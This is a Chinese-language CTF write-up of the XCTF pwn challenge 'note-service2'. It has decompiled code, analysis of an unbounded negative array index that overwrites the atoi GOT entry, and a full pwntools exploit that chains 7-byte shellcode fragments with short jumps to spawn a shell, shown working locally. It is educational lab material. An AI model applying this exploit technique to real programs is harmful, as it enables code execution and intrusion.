XCTF-CHALLENGE-note-service2

checksec

hunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec note-service2
[*] '/home/hunter/PWN/XCTF/xctf_challenge/note-service2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
开启 PIE CANARY RWX

IDA–关键代码

int sub_CA5()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]
  unsigned int v2; // [rsp+Ch] [rbp-4h]

  result = dword_20209C;
  if ( dword_20209C >= 0 )     
  {
    result = dword_20209C;
    if ( dword_20209C <= 11 )
    {
      printf("index:");
      v1 = sub_B91();
      printf("size:");
      result = sub_B91();
      v2 = result;
      if ( result >= 0 && result <= 8 )
      {
        qword_2020A0[v1] = malloc(result);    
        if ( !qword_2020A0[v1] )
        {
          puts("malloc error");
          exit(0);
        }
        printf("content:");
        read_buf_n(qword_2020A0[v1], v2);
        result = dword_20209C++ + 1;
      }
    }
  }
  return result;
}

del:
    void sub_DE7()
{
  int v0; // ST0C_4

  printf("index:");
  v0 = sub_B91();
  free(qword_2020A0[v0]);
}

read_buf_n:
    unsigned __int64 __fastcall sub_AC3(__int64 a1, int a2, char a3)
{
  char v4; // [rsp+0h] [rbp-20h]
  char buf; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v4 = a3;                                      // a1==addr
  v7 = __readfsqword(0x28u);
  for ( i = 0; a2 - 1 > i; ++i )                // a2==8
  {
    read(0, &buf, 1uLL);
    if ( buf == v4 )
    {
      *(i + a1) = 0;
      break;
    }
    *(a1 + i) = buf;
  }
  *(i + a1) = 0;
  return __readfsqword(0x28u) ^ v7;
}

代码分析

  • 在sub_CA5函数主要实现添加信息的功能,信息包括:index,size,content。其中index没有限制,size最大为8,content也有限制。
    • 通过程序自制的read_buf_n函数可知当size(a2)为最大值8,可以向buf(addr)中读入7个字节,并在最后添加截至符。
  • 程序将chunk的返回地址放入bss段中,构成bss段数组,数组的下标index没有限制
  • del函数部分实现对应chunk的free
    一部分数据段:
    .got.plt:0000000000202018 off_202018      dq offset free          ; DATA XREF: _free↑r
    .got.plt:0000000000202020 off_202020      dq offset puts          ; DATA XREF: _puts↑r
    .got.plt:0000000000202028 off_202028      dq offset __stack_chk_fail
    .got.plt:0000000000202028                                         ; DATA XREF: ___stack_chk_fail↑r
    .got.plt:0000000000202030 off_202030      dq offset printf        ; DATA XREF: _printf↑r
    .got.plt:0000000000202038 off_202038      dq offset memset        ; DATA XREF: _memset↑r
    .got.plt:0000000000202040 off_202040      dq offset read          ; DATA XREF: _read↑r
    .got.plt:0000000000202048 off_202048      dq offset __libc_start_main
    .got.plt:0000000000202048                                         ; DATA XREF: ___libc_start_main↑r
    .got.plt:0000000000202050 off_202050      dq offset malloc        ; DATA XREF: _malloc↑r
    .got.plt:0000000000202058 off_202058      dq offset setvbuf       ; DATA XREF: _setvbuf↑r
    .got.plt:0000000000202060 off_202060      dq offset atoi          ; DATA XREF: _atoi↑r
    .got.plt:0000000000202068 off_202068      dq offset exit          ; DATA XREF: _exit↑r
    .got.plt:0000000000202068 _got_plt        ends
    ....
    .bss:00000000002020A0 ; _QWORD qword_2020A0[12]
    .bss:00000000002020A0 qword_2020A0    dq 0Ch dup(?)           ; DATA XREF: sub_BE0+18↑o
    .bss:00000000002020A0                                         ; add+92↑o ...
    .bss:00000000002020A0 _bss            ends
    .bss:00000000002020A0

思路

  • 题目没有开启NX那么代表堆栈可执行,应该是要向堆里面写入shellcode
    • 每个chunk只能读入7个字节,所以现成的shellcode不能用,但可以自己asm对应的system/execve汇编指令(就像构造rop链一样)
  • 因为bss段数组没有控制index范围,查询相关资料可知数组下标为负数就是对应buf[0]前面的元素,那我们就可以修改函数got表达到控制程序执行流
    • 上面的数据段可知bss数组与这些函数got表的距离很近,可以访问到
  • 我们的system/execve的代码分布在多个chunk中那么要在里面放入跳转指令:jmp short 偏移

实现

shellcode:execv(rdi=”/bin/sh”,rsi=0,rdx=0),rax=0x3b

xor rax,rax
xor rsi,rsi
xor rdx,rdx
mov eax,0x3b
syscall
这里如果直接mov rax,0x3b 这将会占用7字节

至于rdi要存放/bin/sh,我们可以使用atoi_got表来解决这个问题:

.text:0000000000000BBD                 mov     rdi, rax        ; nptr
.text:0000000000000BC0                 mov     eax, 0
.text:0000000000000BC5                 call    _atoi
这是执行atoi函数的代码

我们如果输入choice时,输入/bin/sh那么rdi==/bin/sh然后call atoi就会转跳到atoi_got,又我们可以通过数组越界来控制其got表里面的内容,放入转跳指令,使程序流到chunk中 的shellcode。

因为每一个chunk只能输入7字节,所以才精心构造了上面的指令。xor指令占用3字节,mov指令占用5字节,剩下的空间来存放跳转。
这里跳转jmp short xxx的机器码是 EB xxx(占两个字节) 看了大佬的博客偏移量xxx = 目标地址-当前地址-2。

那我们将要malloc 5次(每个chunk都是0x20的总大小) ,其分布为:

EXP

from pwn import*
context.log_level = 'debug'
context(os='linux',arch='amd64')

def add(index,size,cont):
    sh.sendlineafter('choice>>','1')
    sh.sendlineafter('index:',index)
    sh.sendlineafter('size:',size)
    sh.sendafter('content:',cont)

def dele(index):
    sh.sendlineafter('choice>>','4')
    sh.sendlineafter('index:',index)

sh = process('./note-service2')

add('0','8','A'*7)  #帮atoi_got占着第一个chunk
add('1','8',asm('xor rax,rax')+'\x90\x90\xeb\x19')
add('2','8',asm('xor rsi,rsi')+'\x90\x90\xeb\x19')
add('3','8',asm('xor rdx,rdx')+'\x90\x90\xeb\x19')
add('4','8',asm('mov eax,0x3b')+'\xeb\x19')
add('5','8',asm('syscall')+'\x90\x90\x90\x90\x90')
dele('0')  #释放,再malloc那么atoi_got就会被放在第一个chunk
add('-8','8','\x90\x90\x90\x90\x90\xeb\x19')  
#pause()
sh.sendline('/bin/sh')
sh.interactive()

这里我们要让每次接受content的字节数都为7,因为题目自制的read函数最多读入7个字节 然后我们就可以用sendafter函数输入字节数恰好为7的content,就不用输入\n(sendline),否则我们add(‘4’,’8’,asm(‘mov eax,0x3b’)+’\xeb\x19’)就会添上一个\n多余的字节,无法打通。主要是这个地方的原因,其他的都是有剩余空间的。

跳转机器码是:eb 0x19 =====> jmp short xxx
计算过程:
xxx = 目标地址-当前地址-2

add过程:

结果:

your choice>> $ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'hunter\n'
hunter
$ 

小结

这个题主要是shellcode 分布在几个堆中,利用jmp偏移实现跳转,同样的PIE的解决 也是通过bss段和got表的偏移


  转载请注明: Squarer XCTF-CHALLENGE-note-service2

 上一篇
XCTF-CHALLENGE-notehack XCTF-CHALLENGE-notehack
别的不说,看我一手E技能点Q点点,破败接点点,芜湖 起飞~~。checksechunter@hunter:~/how2heap/my_heap/pwnable.tw hacknote$ checksec hacknote [*] '/hom
2020-09-13
下一篇 
Heap--初探--基本漏洞 Heap--初探--基本漏洞
First fit规则在malloc一个chunk时,先在bins中寻找能满足用户需求大小的chunk,也就是大于等于用户需求的大小然后返回,而不是一直遍历到完全符合的chunk。比如说在unsortedbin中,找到了一个大于用户申请的c
2020-09-09
  目录